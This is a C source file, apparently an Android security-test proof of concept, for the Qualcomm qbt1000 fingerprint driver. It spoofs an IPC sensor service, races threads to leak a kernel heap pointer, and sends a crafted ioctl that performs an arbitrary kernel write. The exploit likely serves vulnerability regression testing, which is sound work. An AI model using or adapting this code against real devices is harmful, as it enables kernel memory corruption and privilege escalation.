blob: 767a671b7c6ebe1c1d22214b4f378418e2b0750f [file] [log] [blame]
/**
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
static const char *dev = "/dev/qbt1000";
#define QBT1000_SNS_SERVICE_ID 0x138 /* From sns_common_v01.idl */
#define QBT1000_SNS_SERVICE_VER_ID 1
#define QBT1000_SNS_INSTANCE_INST_ID 0
#define SNS_QFP_OPEN_RESP_V01 0x0020
#define QMI_REQUEST_CONTROL_FLAG 0x00
#define QMI_RESPONSE_CONTROL_FLAG 0x02
#define QMI_INDICATION_CONTROL_FLAG 0x04
#define QMI_HEADER_SIZE 7
#define OPTIONAL_TLV_TYPE_START 0x10
enum elem_type {
QMI_OPT_FLAG = 1,
QMI_DATA_LEN,
QMI_UNSIGNED_1_BYTE,
QMI_UNSIGNED_2_BYTE,
QMI_UNSIGNED_4_BYTE,
QMI_UNSIGNED_8_BYTE,
QMI_SIGNED_2_BYTE_ENUM,
QMI_SIGNED_4_BYTE_ENUM,
QMI_STRUCT,
QMI_STRING,
QMI_EOTI,
};
volatile int cont = 1;
struct qmi_header {
unsigned char cntl_flag;
uint16_t txn_id;
uint16_t msg_id;
uint16_t msg_len;
} __attribute__((__packed__));
struct qseecom_handle {
void *dev;
unsigned char *sbuf;
uint32_t sbuf_len;
};
enum qbt1000_commands {
QBT1000_LOAD_APP = 100,
QBT1000_UNLOAD_APP = 101,
QBT1000_SEND_TZCMD = 102
};
struct qbt1000_app {
struct qseecom_handle **app_handle;
char name[32];
uint32_t size;
uint8_t high_band_width;
};
struct qbt1000_send_tz_cmd {
struct qseecom_handle *app_handle;
uint8_t *req_buf;
uint32_t req_buf_len;
uint8_t *rsp_buf;
uint32_t rsp_buf_len;
};
struct msm_ipc_port_addr {
uint32_t node_id;
uint32_t port_id;
};
struct msm_ipc_port_name {
uint32_t service;
uint32_t instance;
};
struct msm_ipc_addr {
unsigned char addrtype;
union {
struct msm_ipc_port_addr port_addr;
struct msm_ipc_port_name port_name;
} addr;
};
/*
* Socket API
*/
#define AF_MSM_IPC 27
#define PF_MSM_IPCAF_MSM_IPC
#define MSM_IPC_ADDR_NAME 1
#define MSM_IPC_ADDR_ID 2
struct sockaddr_msm_ipc {
unsigned short family;
struct msm_ipc_addr address;
unsigned char reserved;
};
struct qbt1000_app app = {0, {0}, 0, 0};
static int get_fd(const char *dev_node) {
int fd;
fd = open(dev_node, O_RDWR);
if (fd < 0) {
cont = 0;
exit(EXIT_FAILURE);
}
return fd;
}
static void leak_heap_ptr(int fd) {
void *addr = NULL;
app.app_handle = (void *)&addr;
app.size = 32;
ioctl(fd, QBT1000_LOAD_APP, &app);
}
static void arb_kernel_write_send_tzcmd(int fd) {
struct qseecom_handle hdl = {0, 0, 0};
struct qbt1000_send_tz_cmd cmd = {0, 0, 0, 0, 0};
hdl.sbuf = (void *)0xABADACCE55000000;
cmd.app_handle = &hdl;
cmd.req_buf = cmd.rsp_buf = malloc(4096);
cmd.req_buf_len = cmd.rsp_buf_len = 4096;
ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
}
static void recv_msgs(int fd) {
struct msghdr msg = {0, 0, 0, 0, 0, 0, 0};
struct iovec io = {0, 0};
struct sockaddr_msm_ipc addr = {0, {0, {{0, 0}}}, 0};
struct msm_ipc_addr address = {0, {{0, 0}}};
uint8_t *ptr;
struct qmi_header *hdr;
int count = 1;
io.iov_base = malloc(4096);
memset(io.iov_base, 0, 4096);
io.iov_len = 4096;
msg.msg_iovlen = 1;
msg.msg_iov = &io;
msg.msg_name = &addr;
msg.msg_namelen = sizeof(addr);
while (cont) {
recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
memset(io.iov_base, 0, 128);
hdr = io.iov_base;
hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
hdr->txn_id = count++;
hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
hdr->msg_len = 3;
ptr = (uint8_t *)((char *)io.iov_base + sizeof(*hdr));
*ptr = OPTIONAL_TLV_TYPE_START;
ptr++;
*ptr = 0;
ptr++;
*ptr = 0;
sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
}
}
#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
static void setup_ipc_server(void) {
int fd;
struct sockaddr_msm_ipc addr = {0, {0, {{0, 0}}}, 0};
fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
if (fd < 0) {
exit(EXIT_FAILURE);
}
addr.family = AF_MSM_IPC;
addr.address.addrtype = MSM_IPC_ADDR_NAME;
addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
bind(fd, (struct sockaddr *)&addr, sizeof(addr));
recv_msgs(fd);
}
static void *leak_ptr(void *ignore) {
void *save;
while (cont) {
if (app.app_handle != NULL) {
save = *app.app_handle;
if (save != NULL) {
break;
}
}
}
return NULL;
}
static void *do_ipc_stuff(void *ignore) {
setup_ipc_server();
return NULL;
}
int main(void) {
int fd;
pthread_t race_car;
pthread_t race_car1;
pthread_create(&race_car, NULL, do_ipc_stuff, NULL);
usleep(50000);
fd = get_fd(dev);
pthread_create(&race_car1, NULL, leak_ptr, NULL);
usleep(1000);
leak_heap_ptr(fd);
arb_kernel_write_send_tzcmd(fd);
}